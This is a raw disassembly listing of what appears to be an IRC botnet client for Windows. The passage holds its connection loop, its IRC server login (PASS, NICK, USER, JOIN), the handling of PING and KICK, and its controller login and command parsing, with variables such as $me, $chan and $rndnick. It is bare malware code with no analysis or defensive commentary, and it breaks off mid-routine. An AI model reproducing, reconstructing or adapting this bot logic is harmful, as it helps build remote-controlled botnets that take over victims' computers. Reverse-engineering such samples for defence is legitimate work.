dd 1A758h, 8D0CC483h, 0FFFF6085h, 90E850FFh, 8D000136h
dd 0FFFF6085h, 2404C7FFh, 43D6A4h, 0A736E850h, 8D530001h
dd 0FFFF6085h, 50016AFFh, 6206E8h, 14C48300h, 458DF88Bh
dd 858D50F8h, 0FFFFFB0Ch, 70685053h, 53004010h, 69D6FF53h
dd 234FFh, 89C33B00h, 4523CC87h, 0FF1B7500h, 4F131015h
dd 858D5000h, 0FFFFFF60h, 43D6C868h, 0E5E85000h, 830001A6h
dd 858D0CC4h, 0FFFFFF60h, 361DE850h, 26A0001h, 63F6E8h
dd 0C0855900h, 8D6C7559h, 0FFFF6085h, 0D70068FFh, 0E8500043h
dd 1A6B8h, 60858D53h, 6AFFFFFFh, 88E85002h, 83000061h
dd 0F88B14C4h, 50F8458Dh, 39685753h, 53004115h, 69D6FF53h
dd 234FFh, 89C33B00h, 4523CC87h, 0FF1B7500h, 4F131015h
dd 858D5000h, 0FFFFFF60h, 43D72868h, 6DE85000h, 830001A6h
dd 858D0CC4h, 0FFFFFF60h, 35A5E850h, 0E8590001h, 1AF98h
dd 98687F6Ah, 680043CCh, 4DF1C4h, 4DF33CA3h, 0ABE2E800h
dd 4CA10001h, 6A0043CCh, 0F244BF3Fh, 0A868004Dh, 570043CCh
dd 4DF314A3h, 0ABC6E800h, 3F6A0001h, 4DF284BEh, 0CCB06800h
dd 0E8560043h, 1ABB4h, 8924C483h, 4DF3181Dh, 0FC5D8900h
dd 4DF1C068h, 381D8900h, 0E8004DF3h, 0DEh, 8902F883h, 840FF045h
dd 0BEh, 0F3381D39h, 374004Dh, 68FC4DFFh, 0BB8h, 12F415FFh
dd 45FF004Fh, 0FC7D83FCh, 83C57C06h, 0F02F07Dh, 9584h
dd 0F45D3900h, 7F6A4074h, 43CC9868h, 0F1C46800h, 4DE8004Dh
dd 0A10001ABh, 43CC4Ch, 0A8683F6Ah, 570043CCh, 4DF314A3h
dd 0AB36E800h, 3F6A0001h, 43CCB068h, 29E85600h, 830001ABh
dd 5D8924C4h, 0FF73E9F4h, 1D38FFFFh, 4DF32Ch, 0FF67840Fh
dd 7F6AFFFFh, 4DF32C68h, 0F1C46800h, 1E8004Dh, 0A10001ABh
dd 43CC50h, 30683F6Ah, 57004DF3h, 4DF314A3h, 0AAEAE800h
dd 3F6A0001h, 4DF33468h, 0DDE85600h, 830001AAh, 45C724C4h
dd 1F4h, 0FF23E900h, 0D1E8FFFFh
db 61h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_402D37: ; CODE XREF: seg000:004027C1j
call ds:dword_45144C
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402D46 proc near ; DATA XREF: seg000:00406507o
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_402D6B: ; CODE XREF: sub_402D46+E6j
; sub_402D46+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41D100
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call ds:dword_4514F4
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_4024FB
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_402E98
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41D100
push 0
lea eax, [ebp+var_2C]
push ds:dword_43CC80
push ds:dword_43CC7C
push eax
call sub_408A38
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_4523D0
push edi
push eax
call sub_41D800
add esp, 28h
push 6
push 1
push 2
call ds:dword_451570
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov ds:dword_4523C4[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call ds:dword_45149C
cmp eax, 0FFFFFFFFh
jnz short loc_402E31
push esi
call ds:dword_451588
call sub_402524
push 7D0h
loc_402E26: ; CODE XREF: sub_402D46+146j
call ds:dword_4F12F4 ; Sleep
jmp loc_402D6B
; ---------------------------------------------------------------------------
loc_402E31: ; CODE XREF: sub_402D46+CDj
lea eax, [ebp+var_18C]
push eax
push offset aMainConnectedT ; "[MAIN]: Connected to %s."
call sub_41621B
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_402EAE
add esp, 28h
mov edi, eax
push esi
call ds:dword_451588
test edi, edi
jz loc_402D6B
cmp edi, 1
jnz short loc_402E8E
push 0DBBA0h
jmp short loc_402E26
; ---------------------------------------------------------------------------
loc_402E8E: ; CODE XREF: sub_402D46+13Fj
cmp edi, 2
jz short loc_402E9C
jmp loc_402D6B
; ---------------------------------------------------------------------------
loc_402E98: ; CODE XREF: sub_402D46+5Aj
xor eax, eax
jmp short loc_402EA8
; ---------------------------------------------------------------------------
loc_402E9C: ; CODE XREF: sub_402D46+14Bj
push [ebp+var_34]
call sub_40905B
pop ecx
push 2
pop eax
loc_402EA8: ; CODE XREF: sub_402D46+154j
pop edi
pop esi
leave
retn 4
sub_402D46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402EAE proc near ; CODE XREF: sub_402D46+123p
var_1A90 = byte ptr -1A90h
var_A90 = byte ptr -0A90h
var_2C0 = byte ptr -2C0h
var_140 = byte ptr -140h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A90h
call sub_41DEB0
push ebx
push esi
push edi
xor ebx, ebx
push 3
mov [ebp+var_8], ebx
lea eax, [ebp+var_2C0]
pop ecx
loc_402ECC: ; CODE XREF: sub_402EAE+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_402ECC
cmp ds:byte_4DF328, bl
jz short loc_402EF3
push offset byte_4DF328
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_401417
add esp, 0Ch
loc_402EF3: ; CODE XREF: sub_402EAE+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_408A38
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_41D260
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jnz short loc_402F5D
push [ebp+arg_0]
call ds:dword_451588
push 1388h
call ds:dword_4F12F4 ; Sleep
loc_402F56: ; CODE XREF: sub_402EAE+D9j
; sub_402EAE+153j
xor eax, eax
loc_402F58: ; CODE XREF: sub_402EAE+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_402F5D: ; CODE XREF: sub_402EAE+92j
; sub_402EAE+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A90]
push esi
push ebx
push eax
call sub_41D100
add esp, 0Ch
lea eax, [ebp+var_1A90]
push ebx
push esi
push eax
push [ebp+arg_0]
call ds:dword_45150C
test eax, eax
jle short loc_402F56
lea eax, [ebp+var_A90]
push eax
lea eax, [ebp+var_1A90]
push eax
call sub_417768
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_402F5D
lea edi, [ebp+var_A90]
loc_402FAE: ; CODE XREF: sub_402EAE+165j
push 1
pop esi
loc_402FB1: ; CODE XREF: sub_402EAE+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+var_2C0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call loc_403026
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_402FF4
push 7D0h
call ds:dword_4F12F4 ; Sleep
jmp short loc_402FB1
; ---------------------------------------------------------------------------
loc_402FF4: ; CODE XREF: sub_402EAE+137j
cmp esi, 0FFFFFFFDh
jz short loc_40301E
cmp esi, 0FFFFFFFEh
jz short loc_40301A
cmp esi, 0FFFFFFFFh
jz loc_402F56
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_402FAE
jmp loc_402F5D
; ---------------------------------------------------------------------------
loc_40301A: ; CODE XREF: sub_402EAE+14Ej
push 1
jmp short loc_403020
; ---------------------------------------------------------------------------
loc_40301E: ; CODE XREF: sub_402EAE+149j
push 2
loc_403020: ; CODE XREF: sub_402EAE+16Ej
pop eax
jmp loc_402F58
sub_402EAE endp
; ---------------------------------------------------------------------------
loc_403026: ; CODE XREF: sub_402EAE+12Ap
push ebp
mov ebp, esp
mov eax, 159Ch
call sub_41DEB0
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp-2C8h]
push ebx
push eax
mov dword ptr [ebp-0A4h], 3
mov [ebp-10h], ebx
mov [ebp-0A8h], ebx
mov [ebp-8], ebx
mov [ebp-4], ebx
mov [ebp-0C8h], ebx
call sub_41D100
push 1Bh
lea eax, [ebp-564h]
push dword ptr [ebp+18h]
push eax
call sub_41D800
add esp, 18h
cmp [ebp+8], ebx
jz loc_403498
push esi
lea eax, [ebp-0F9Ch]
push ebx
push eax
call sub_41D100
dec esi
lea eax, [ebp-0F9Ch]
push esi
push dword ptr [ebp+8]
push eax
call sub_41D800
lea eax, [ebp-0F9Ch]
push offset asc_43D79C ; " :"
push eax
call sub_41DBE0
mov [ebp-0Ch], eax
lea eax, [ebp-0F9Ch]
push esi
push eax
lea eax, [ebp-119Ch]
push eax
call sub_41D800
lea eax, [ebp-119Ch]
push offset asc_43D7A0 ; " "
push eax
call sub_41D6B0
add esp, 34h
mov [ebp-94h], eax
lea esi, [ebp-90h]
push 1Fh
pop edi
loc_4030F1: ; CODE XREF: seg000:00403104j
push offset asc_43D7A4 ; " "
push ebx
call sub_41D6B0
mov [esi], eax
pop ecx
add esi, 4
dec edi
pop ecx
jnz short loc_4030F1
mov esi, [ebp-94h]
cmp esi, ebx
jz loc_403498
cmp [ebp-90h], ebx
jz loc_403498
push 100h
lea eax, [ebp-0A14h]
push ebx
push eax
call sub_41D100
add esp, 0Ch
lea ecx, [ebp-18h]
push 1Fh
pop edx
push 1
pop edi
loc_40313E: ; CODE XREF: seg000:00403170j
mov eax, [ecx]
cmp eax, ebx
jz short loc_40316A
cmp byte ptr [eax], 2Dh
jnz short loc_403172
cmp [eax+2], bl
jnz short loc_403172
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov byte ptr [ebp+esi-0A14h], 1
mov esi, [ebp-94h]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_40316A: ; CODE XREF: seg000:00403142j
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_40313E
loc_403172: ; CODE XREF: seg000:00403147j
; seg000:0040314Cj
cmp [ebp-9A1h], bl
jz short loc_40317D
mov [ebp-8], edi
loc_40317D: ; CODE XREF: seg000:00403178j
cmp [ebp-9A6h], bl
jz short loc_40318B
mov [ebp-8], ebx
mov [ebp-4], edi
loc_40318B: ; CODE XREF: seg000:00403183j
cmp byte ptr [esi], 0Ah
jz short loc_4031C5
push 7Fh
lea eax, [ebp-0A94h]
push esi
push eax
call sub_41D800
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp-0C0h]
push eax
call sub_41D800
lea eax, [ebp-0C0h]
push offset asc_43D7A8 ; "!"
push eax
call sub_41D6B0
add esp, 20h
loc_4031C5: ; CODE XREF: seg000:0040318Ej
push esi
push offset aPing ; "PING"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_403216
push dword ptr [ebp-90h]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push dword ptr [ebp+0Ch]
call sub_401417
mov eax, [ebp+28h]
add esp, 0Ch
cmp [eax], ebx
jnz loc_4032BA
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push offset aJoinSS ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_401417
add esp, 10h
jmp loc_4032BA
; ---------------------------------------------------------------------------
loc_403216: ; CODE XREF: seg000:004031D4j
mov esi, [ebp-90h]
push esi
push offset a001 ; "001"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4085F2
push esi
push offset a005 ; "005"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4085F2
push esi
push offset a302_0 ; "302"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_403281
push offset a@ ; "@"
push dword ptr [ebp-88h]
call sub_41DBE0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4032BA
inc eax
push 9Fh
push eax
push dword ptr [ebp+24h]
call sub_41D800
add esp, 0Ch
jmp short loc_4032BA
; ---------------------------------------------------------------------------
loc_403281: ; CODE XREF: seg000:00403255j
push esi
push offset a433_0 ; "433"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_4032C1
push ebx
push ds:dword_43CC80
push ds:dword_43CC7C
push dword ptr [ebp+18h]
call sub_408A38
push dword ptr [ebp+18h]
push offset aNickS_4 ; "NICK %s\r\n"
push dword ptr [ebp+0Ch]
call sub_401417
add esp, 1Ch
loc_4032BA: ; CODE XREF: seg000:004031F5j
; seg000:00403211j ...
mov eax, edi
jmp loc_40349B
; ---------------------------------------------------------------------------
loc_4032C1: ; CODE XREF: seg000:00403290j
mov esi, [ebp+20h]
mov dword ptr [ebp-0C4h], 3
mov edi, 80h
loc_4032D3: ; CODE XREF: seg000:004032F8j
lea eax, [ebp-0A94h]
push eax
push esi
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_4032F0
mov dword ptr [ebp-0A8h], 1
loc_4032F0: ; CODE XREF: seg000:004032E4j
add esi, edi
dec dword ptr [ebp-0C4h]
jnz short loc_4032D3
mov esi, [ebp-90h]
push esi
push offset aKick ; "KICK"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz loc_4033E7
mov esi, [ebp+20h]
mov dword ptr [ebp+2Ch], 3
loc_40331F: ; CODE XREF: seg000:004033ACj
cmp [esi], bl
jz loc_4033A7
push 7Fh
lea eax, [ebp-0A94h]
push esi
push eax
call sub_41D800
lea eax, [ebp-0C0h]
add esp, 0Ch
test eax, eax
jz short loc_4033A7
cmp [ebp-88h], ebx
jz short loc_4033A7
push dword ptr [ebp-88h]
lea eax, [ebp-0C0h]
push eax
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_4033A7
lea eax, [ebp-0C0h]
mov [esi], bl
push eax
lea eax, [ebp-2C8h]
push offset aMainUserSLogge ; "[MAIN]: User %s logged out."
push eax
call sub_41D260
lea eax, [ebp-2C8h]
push eax
lea eax, [ebp-0C0h]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push dword ptr [ebp+0Ch]
call sub_401417
lea eax, [ebp-2C8h]
push eax
call sub_4161A7
add esp, 20h
loc_4033A7: ; CODE XREF: seg000:00403321j
; seg000:00403341j ...
add esi, edi
dec dword ptr [ebp+2Ch]
jnz loc_40331F
push dword ptr [ebp-88h]
push dword ptr [ebp+18h]
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz loc_403498
push dword ptr [ebp+14h]
mov eax, [ebp+28h]
push dword ptr [ebp+10h]
mov [eax], ebx
push offset aJoinSS_0 ; "JOIN %s %s\r\n"
loc_4033DA: ; CODE XREF: seg000:0040361Aj
; seg000:0040384Dj ...
push dword ptr [ebp+0Ch]
call sub_401417
jmp loc_407ED5
; ---------------------------------------------------------------------------
loc_4033E7: ; CODE XREF: seg000:0040330Fj
push esi
push offset aNick ; "NICK"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz loc_40352D
mov eax, [ebp-8Ch]
mov esi, [ebp+20h]
inc eax
mov dword ptr [ebp+8], 3
mov [ebp+2Ch], eax
loc_403410: ; CODE XREF: seg000:00403462j
lea eax, [ebp-0A94h]
push eax
push esi
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_40345D
lea eax, [ebp-0A94h]
push 21h
push eax
call sub_41E650
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+24h], eax
jz short loc_40345D
push dword ptr [ebp+2Ch]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_41E550
push dword ptr [ebp+24h]
push edi
call sub_41E560
add esp, 10h
mov edi, 80h
loc_40345D: ; CODE XREF: seg000:00403421j
; seg000:00403438j
add esi, edi
dec dword ptr [ebp+8]
jnz short loc_403410
lea eax, [ebp-0C0h]
test eax, eax
jz short loc_403498
cmp [ebp+2Ch], ebx
jz short loc_403498
push dword ptr [ebp+18h]
lea eax, [ebp-0C0h]
push eax
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_4034A0
push 0Fh
push dword ptr [ebp+2Ch]
push dword ptr [ebp+18h]
call sub_41D800
add esp, 0Ch
loc_403498: ; CODE XREF: seg000:00403081j
; seg000:0040310Ej ...
push 1
loc_40349A: ; CODE XREF: seg000:00408196j
pop eax
loc_40349B: ; CODE XREF: seg000:004032BCj
; seg000:004066CBj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4034A0: ; CODE XREF: seg000:00403486j
mov edi, [ebp+20h]
xor esi, esi
loc_4034A5: ; CODE XREF: seg000:004034C6j
cmp [edi], bl
jz short loc_4034BC
lea eax, [ebp-0A94h]
push eax
push edi
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz short loc_4034CA
loc_4034BC: ; CODE XREF: seg000:004034A7j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_4034A5
jmp short loc_403498
; ---------------------------------------------------------------------------
loc_4034CA: ; CODE XREF: seg000:004034BAj
lea eax, [ebp-0A94h]
push 21h
push eax
call sub_41E650
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+8], eax
jz short loc_403498
push eax
call sub_41AC70
push dword ptr [ebp+2Ch]
mov edi, eax
call sub_41AC70
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja short loc_403498
push dword ptr [ebp+8]
shl esi, 7
push dword ptr [ebp+2Ch]
add esi, [ebp+20h]
push offset aSS ; ":%s%s"
push esi
call sub_41D260
push ebx
lea eax, [ebp-4ACh]
push ebx
push eax
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
call sub_40145D
add esp, 24h
jmp loc_403498
; ---------------------------------------------------------------------------
loc_40352D: ; CODE XREF: seg000:004033F6j
push esi
push offset aPart ; "PART"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz short loc_40354F
push esi
push offset aQuit ; "QUIT"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_40357C
loc_40354F: ; CODE XREF: seg000:0040353Cj
mov edi, [ebp+20h]
xor esi, esi
loc_403554: ; CODE XREF: seg000:00403574j
cmp [edi], bl
jz short loc_40356A
push dword ptr [ebp-94h]
push edi
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz short loc_4035BE
loc_40356A: ; CODE XREF: seg000:00403556j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_403554
mov esi, [ebp-90h]
loc_40357C: ; CODE XREF: seg000:0040354Dj
push esi
push offset a353 ; "353"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz loc_40361F
push dword ptr [ebp-84h]
push dword ptr [ebp+10h]
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_4035AE
mov eax, [ebp+28h]
mov dword ptr [eax], 1
loc_4035AE: ; CODE XREF: seg000:004035A3j
push dword ptr [ebp-84h]
push offset aMainJoinedChan ; "[MAIN]: Joined channel: %s."
jmp loc_4085E6
; ---------------------------------------------------------------------------
loc_4035BE: ; CODE XREF: seg000:00403568j
mov eax, [ebp+20h]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp-0C0h]
push eax
lea eax, [ebp-2C8h]
push offset aMainUserSLog_0 ; "[MAIN]: User: %s logged out."
push eax
call sub_41D260
lea eax, [ebp-2C8h]
push eax
call sub_4161A7
push dword ptr [ebp-90h]
push offset aPart_0 ; "PART"
call sub_41D900
add esp, 18h
test eax, eax
jnz loc_403498
lea eax, [ebp-2C8h]
push eax
mov eax, [ebp-94h]
inc eax
push eax
push offset aNoticeSS_0 ; "NOTICE %s :%s\r\n"
jmp loc_4033DA
; ---------------------------------------------------------------------------
loc_40361F: ; CODE XREF: seg000:0040358Bj
push esi
push offset aPrivmsg_0 ; "PRIVMSG"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz short loc_403662
push esi
push offset aNotice_0 ; "NOTICE"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz short loc_403662
push esi
push offset a332 ; "332"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz loc_40845F
cmp ds:dword_43CC68, ebx
jz loc_40845F
loc_403662: ; CODE XREF: seg000:0040362Ej
; seg000:0040363Fj
push esi
push offset aPrivmsg_1 ; "PRIVMSG"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_40376F
push esi
push offset aNotice_1 ; "NOTICE"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_40376F
mov eax, [ebp-88h]
inc dword ptr [ebp-84h]
mov dword ptr [ebp-0A4h], 4
mov [ebp-8Ch], eax
loc_4036A8: ; CODE XREF: seg000:0040382Bj
; seg000:00403861j ...
mov eax, [ebp-0A4h]
mov esi, eax
shl esi, 2
mov ecx, [ebp+esi-94h]
lea eax, [ebp+esi-94h]
lea edi, [ecx+1]
mov [eax], edi
mov al, [ecx]
cmp al, ds:byte_43CC74
mov [ebp+14h], edi
jnz loc_403498
push edi
push offset aLoginhi ; "loginhi"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_408467
push edi
push offset aHi ; "hi"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_408467
cmp [ebp-0A8h], ebx
jnz short loc_403723
push dword ptr [ebp-90h]
push offset a332_3 ; "332"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz loc_40845F
loc_403723: ; CODE XREF: seg000:00403707j
cmp [ebp+30h], ebx
jnz loc_40845F
cmp ds:dword_43D060, ebx
mov [ebp+10h], ebx
jle loc_4039FC
mov dword ptr [ebp+28h], offset dword_451638
loc_403742: ; CODE XREF: seg000:00403768j
push edi
push dword ptr [ebp+28h]
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_40388E
inc dword ptr [ebp+10h]
add dword ptr [ebp+28h], 0B8h
mov eax, [ebp+10h]
cmp eax, ds:dword_43D060
jl short loc_403742
jmp loc_4039FC
; ---------------------------------------------------------------------------
loc_40376F: ; CODE XREF: seg000:00403671j
; seg000:00403686j
push esi
push offset aNotice_2 ; "NOTICE"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_403787
mov dword ptr [ebp-4], 1
loc_403787: ; CODE XREF: seg000:0040377Ej
mov edi, [ebp-8Ch]
cmp edi, ebx
jz loc_403498
push offset asc_43D908 ; "#"
push edi
call sub_41DBE0
pop ecx
test eax, eax
pop ecx
jz short loc_4037AB
cmp [ebp-4], ebx
jz short loc_4037B7
loc_4037AB: ; CODE XREF: seg000:004037A4j
lea edi, [ebp-0C0h]
mov [ebp-8Ch], edi
loc_4037B7: ; CODE XREF: seg000:004037A9j
cmp [ebp-88h], ebx
jz loc_403498
inc dword ptr [ebp-88h]
jz short loc_403801
cmp [ebp+18h], ebx
jz short loc_403801
lea eax, [ebp-564h]
push eax
call sub_41AC70
push eax
lea eax, [ebp-564h]
push dword ptr [ebp-88h]
push eax
call sub_41E510
add esp, 10h
neg eax
sbb eax, eax
add eax, 4
mov [ebp-0A4h], eax
jmp short loc_403807
; ---------------------------------------------------------------------------
loc_403801: ; CODE XREF: seg000:004037C9j
; seg000:004037CEj
mov eax, [ebp-0A4h]
loc_403807: ; CODE XREF: seg000:004037FFj
shl eax, 2
mov [ebp+10h], eax
mov esi, [ebp+eax-94h]
cmp esi, ebx
jz loc_403498
push esi
push offset dword_43D90C
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz loc_4036A8
cmp byte ptr [edi], 23h
jz short loc_403852
mov eax, ds:dword_4DF33C
mov eax, ds:off_43CD28[eax*4]
cmp [eax], bl
jz short loc_403852
push eax
push edi
push offset dword_43D918
jmp loc_4033DA
; ---------------------------------------------------------------------------
loc_403852: ; CODE XREF: seg000:00403834j
; seg000:00403844j
push esi
push offset dword_43D934
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz loc_4036A8
mov eax, [ebp+10h]
mov eax, [ebp+eax-90h]
cmp eax, ebx
jz loc_4036A8
cmp byte ptr [edi], 23h
jz loc_4036A8
push eax
push edi
push offset dword_43D93C
jmp loc_4033DA
; ---------------------------------------------------------------------------
loc_40388E: ; CODE XREF: seg000:0040374Fj
push offset asc_43DA9C ; " :"
push dword ptr [ebp+8]
call sub_41DBE0
pop ecx
cmp eax, ebx
pop ecx
jz loc_403498
mov edi, [ebp+10h]
mov cl, ds:byte_43CC74
imul edi, 0B8h
mov [eax+2], cl
mov cl, ds:byte_43CC74
mov [eax+3], cl
lea ecx, dword_451650[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_41D800
lea eax, [ebp+esi-54h]
add esp, 0Ch
mov dword ptr [ebp+10h], 0Fh
mov [ebp+28h], eax
loc_4038E6: ; CODE XREF: seg000:0040398Ej
push dword ptr [ebp+10h]
lea eax, [ebp-0A0h]
push offset aD_0 ; "$%d-"
push eax
call sub_41D260
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp+8]
call sub_41DBE0
add esp, 14h
test eax, eax
jz short loc_403952
mov eax, [ebp+28h]
cmp [eax], ebx
jz short loc_403952
lea eax, dword_451638[edi]
push eax
call sub_41AC70
add [ebp-0Ch], eax
pop ecx
jz short loc_403984
mov eax, [ebp+28h]
push dword ptr [eax-4]
push dword ptr [ebp-0Ch]
call sub_41DBE0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_403984
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp+8]
call sub_4176D7
add esp, 0Ch
jmp short loc_403984
; ---------------------------------------------------------------------------
loc_403952: ; CODE XREF: seg000:0040390Ej
; seg000:00403915j
mov eax, [ebp+28h]
cmp [eax], ebx
jnz short loc_403984
lea eax, [ebp-0A0h]
push 2
push eax
lea eax, [ebp-14h]
push eax
call sub_41D800
lea eax, [ebp-14h]
mov [ebp-12h], bl
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp+8]
call sub_4176D7
add esp, 18h
loc_403984: ; CODE XREF: seg000:00403927j
; seg000:0040393Bj ...
dec dword ptr [ebp+10h]
sub dword ptr [ebp+28h], 4
cmp [ebp+10h], ebx
jg loc_4038E6
lea eax, [ebp+esi-54h]
mov dword ptr [ebp+10h], 10h
mov edi, eax
loc_4039A1: ; CODE XREF: seg000:004039EDj
push dword ptr [ebp+10h]
lea eax, [ebp-0A0h]
push offset aD_1 ; "$%d"
push eax
call sub_41D260
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp+8]
call sub_41DBE0
add esp, 14h
test eax, eax
jz short loc_4039E4
mov eax, [edi]
cmp eax, ebx
jz short loc_4039E4
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp+8]
call sub_4176D7
add esp, 0Ch
loc_4039E4: ; CODE XREF: seg000:004039C9j
; seg000:004039CFj
dec dword ptr [ebp+10h]
sub edi, 4
cmp [ebp+10h], ebx
jg short loc_4039A1
mov edi, [ebp+14h]
mov dword ptr [ebp-0C8h], 1
loc_4039FC: ; CODE XREF: seg000:00403735j
; seg000:0040376Aj
mov al, [edi]
cmp al, ds:byte_43CC74
jz short loc_403A12
cmp [ebp-0C8h], ebx
jz loc_403BFB
loc_403A12: ; CODE XREF: seg000:00403A04j
push dword ptr [ebp+18h]
mov edi, [ebp+8]
push offset aMe ; "$me"
push edi
call sub_4176D7
lea eax, [ebp-0C0h]
push eax
push offset aUser_0 ; "$user"
push edi
call sub_4176D7
push dword ptr [ebp-8Ch]
push offset aChan ; "$chan"
push edi
call sub_4176D7
push ebx
push ebx
lea eax, [ebp-0A0h]
push 2
push eax
call sub_408A38
push eax
push offset aRndnick_0 ; "$rndnick"
push edi
call sub_4176D7
add esp, 40h
push dword ptr [ebp+1Ch]
push offset aServer_0 ; "$server"
push edi
call sub_4176D7
mov edi, offset aChr ; "$chr("
push edi
push dword ptr [ebp+8]
call sub_41DBE0
add esp, 14h
loc_403A84: ; CODE XREF: seg000:00403B74j
test eax, eax
jz loc_403B79
push offset aChr_0 ; "$chr("
push dword ptr [ebp+8]
call sub_41DBE0
mov [ebp+18h], eax
add eax, 5
push 4
push eax
